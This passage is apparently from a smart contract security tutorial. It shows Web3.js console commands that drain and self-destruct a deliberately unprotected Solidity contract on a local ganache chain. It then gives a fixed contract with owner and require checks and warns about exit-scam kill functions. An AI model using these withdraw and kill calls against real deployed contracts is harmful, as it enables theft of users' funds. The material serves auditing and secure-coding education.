deploy to your local ganache blockchain<o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Copy the address for noAuth.sol. You will need
it. <o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Copy the address of the second account<o:p></o:p></span></p><p class="MsoListParagraphCxSpLast" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Deposit 10 Ether via the Deposit function and
the Value field (don’t forget to change the value type to Ether from Wei)<o:p></o:p></span></p></blockquote><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoListParagraphCxSpLast" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Since not all of the public functions are accessible or may contain
restrictions from our UI, we will attack the contract from the command line by
directly calling the functions via Web3 using the contracts ABI.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">We will need the ABI for this and we can get the ABI by going to
the compilation section in Remix and clicking the ABI link shown below.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><o:p> </o:p></span></p><div class="separator" style="clear: both; text-align: center;"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3F9ZDE8HvoaStw2Uo4pxBHd1-7DWpxcZgIKvzhw_OhzsIURCpr5Y2XvZR6Csi9lxrkfFrCj_kePH9IREGD42lf7xY98SFfD1KvEuqECgjMzBhwlTIzhSx_oUVIH_nXqOdcPSvar96z49S/s319/8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="319" data-original-width="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3F9ZDE8HvoaStw2Uo4pxBHd1-7DWpxcZgIKvzhw_OhzsIURCpr5Y2XvZR6Csi9lxrkfFrCj_kePH9IREGD42lf7xY98SFfD1KvEuqECgjMzBhwlTIzhSx_oUVIH_nXqOdcPSvar96z49S/s0/8.png" /></a></span></div><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><br /></span><p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin; mso-no-proof: yes;"><v:shape id="Picture_x0020_22" o:spid="_x0000_i1025" style="height: 196.5pt; mso-wrap-style: square; visibility: visible; width: 178.5pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image008.png">
</v:imagedata></v:shape></span><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><o:p></o:p></span></p>
<p class="MsoNormal"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Note that as Web3 updates and ABI contract formats update you will
need to update your web3 commands, I have had this happen to me frequently as
this is a newer technology and the formats are always updating so, if this
gives you issues feel free to steal the ABI from above to work with the Web3
commands below.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Now open up a terminal and install web3 followed by opening a node
terminal: <o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">$ npm install web3<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">$ node<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Once node is running you will see a blank line with a > meaning
you are in the node interactive console.<span style="mso-spacerun: yes;">
</span>We will now setup a direct connection and attack both the withdraw and
kill functions to liquidate the contracts funds and terminate its functionality.<span style="mso-spacerun: yes;"> </span>The first thing we will need to do is setup
our web3 import using the localhost target where our ganache-cli is running our
blockchain transactions.<span style="mso-spacerun: yes;"> </span>Note with the
commands below the output will usually say “undefined”, you can ignore this
output. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const Web3 = require('web3')<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const URL = "http://localhost:8545"<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const web3 = new Web3(URL)<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">These lines of input simply create an instance of web3 and set its
target network URL. If this were a bug bounty or pentest on another network you
would supply that target URL for the target network, we can do this with Infura
URL’s to the test nets and mainnet on ethereum. We cover how to do this in
other labs, but for this lab we are using our local targets. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Next lets setup our accounts so that we are using the 2<sup>nd</sup>
account we selected in our remix account dropdown which was imported from
ganache-cli. Note accounts start with 0 so the second account is actually
labeled as account 1. And also note we deployed our contract with account 0. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> accounts = web3.eth.getAccounts();<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> var account;<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> accounts.then((v) => {(this.account = v[1])})<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">We setup our account in web3 simply by grabbing all of the
accounts and then setting the value of account (singular) to 1 with the
commands above. Syntax in node / JavaScript is a bit cryptic at times so the
commands may look a bit odd but you can easily look them up in the web3
documentation.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Now we need to setup our target contract address from the proxy
contract. We also need to paste in the full ABI and then connect the address
and the ABI with a contract variable to reference in our calls to the contract.
We can do that with the input below. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const address = "ADD CONTRACT ADDRESS HERE"<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const abi = ADD ABI HERE<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const contract = new web3.eth.Contract(abi, address)<o:p></o:p></span></p><p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Now we are ready to make a call to the contract with the contract
connection variable we just created. We will first withdraw funds to our second
account which never deposited any funds. We do this using the command below that
calls the withdraw function using our account variable. We also specify sending
a default gas value since we need to send gas with transactions that make
changes on the blockchain. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Before using the command below, first note your account balance in
remix on your second account. This should be 100 ether at this point as it was
not used in any transactions and it also holds no balance to withdraw in the
contract.<span style="mso-spacerun: yes;"> </span>Then send the following
command which requests 1 ether in Wei. Wei is denominated as the <o:p></o:p></span>following 1 Ether = 1,000,000,000,000,000,000 Wei (10^18)</p><p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="background: white; color: #222222;"><br /></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> contract.methods.withdraw("1000000000000000000").send({gas:
3000000,from: account})<o:p></o:p></span></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">After a few moments you should see your balance increase in
the second account on Remix.<span style="mso-spacerun: yes;"> </span>Now let’s
kill the contract so no one else can use it which will additionally send the
remaining ether in the contract to our address per the msg.sender value in the
source code call to self-destruct. <o:p></o:p></p><p class="MsoNormal"><br /></p>
<p class="MsoNormal">> contract.methods.kill().send({gas: 3000000,from:
account})<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><p class="MsoNormal"><o:p>Video WalkThrough Attacking Authorization with Web3.js: </o:p></p><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/cOP9z9XWjwc" width="320" youtube-src-id="cOP9z9XWjwc"></iframe></div><br /><o:p><br /></o:p><p></p><p class="MsoNormal"><o:p><br /></o:p></p><p class="MsoNormal"><o:p><br /></o:p></p>
<h2><a name="_Toc47892515">Example Fix with Simple Authorization</a></h2>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">So obviously
it’s easy to understand we have functions we don’t want directly called. To prevent
this we need to implement some kind of protection scheme. Whether that is a
require statements for accounts or more elaborate role-based designs.<span style="mso-spacerun: yes;"> </span>There are various ways we can implement
authorization. We will cover a few common things you will see while auditing
solidity smart contract code.<span style="mso-spacerun: yes;"> </span>While this
is not a book about how to securely code your applications, in this case it is
appropriate to understand what you might see while analyzing a contract you are
trying to exploit.</p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">The first
example we will review is a simple authorization scheme using a contract owner
and require statements.</p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: red;">Important Reminder:<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Make sure to
type out each of these contracts and test what they are doing for yourself
before reading the descriptions below the code. The muscle memory of typing all
of this code and trying to understand what you typed out will help you in
spotting issues when you are auditing code. Also learning how to code will help
you write exploits against contracts quickly and understand when it is or is
not working and how to fix it. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract simpleAuth {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>owner = msg.sender;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 2;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (balances[msg.sender] >= amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(msg.sender == owner);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">You will notice
two changes to this contract from the original. The first change is on line 7
where a constructor sets the owner of the contract to the address of the user
who deployed the contract.<span style="mso-spacerun: yes;"> </span>This
constructor is only run one time when the contract is deployed. Meaning the
owner cannot change.<span style="mso-spacerun: yes;"> </span>You will notice the
initialization of the owner variable was also added on line 4.<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">The second
change is the usage of require statements on lines 16 and 21. The require
statement on line 16 is not associated to the owner but does add a check to
make sure the user requesting a withdrawal has an amount in their balances
mapping which is higher than the balance they are requesting to withdraw. This
fixes the issue with users withdrawing funds they do not actually have.<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">The next
require statement on line 21 makes sure to check that the user calling the
Self-Destruct functionality is the owner of the contract. This prevents anyone
from just killing the contract and stealing the funds from the account. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<h3><a name="_Toc47892516">Exit Scam Warning</a><o:p></o:p></h3>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Something still
smells bad regarding this contract!! The kill function is highly suspect as it
removes all of the funds in the contract and could be indicative of an “exit
scheme”. Whereby a malicious developer creates a contract that handles funds,
for example in a game, or an online exchange. But the malicious contract is
created for the sole purpose of exiting with all of the user’s funds when the
balance reaches a desired balance. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">These types of
issues are something you should always take note of when you see them, and flag
them during your assessment. The client might not like that you flagged their
intended functionality but that is not your problem. They should know better
than to have sketchy functionality and it should be called out.<span style="mso-spacerun: yes;"> </span>Even if they did not intend to use the
function maliciously, it opens the door for someone else to do so. <o:p></o:p></p>
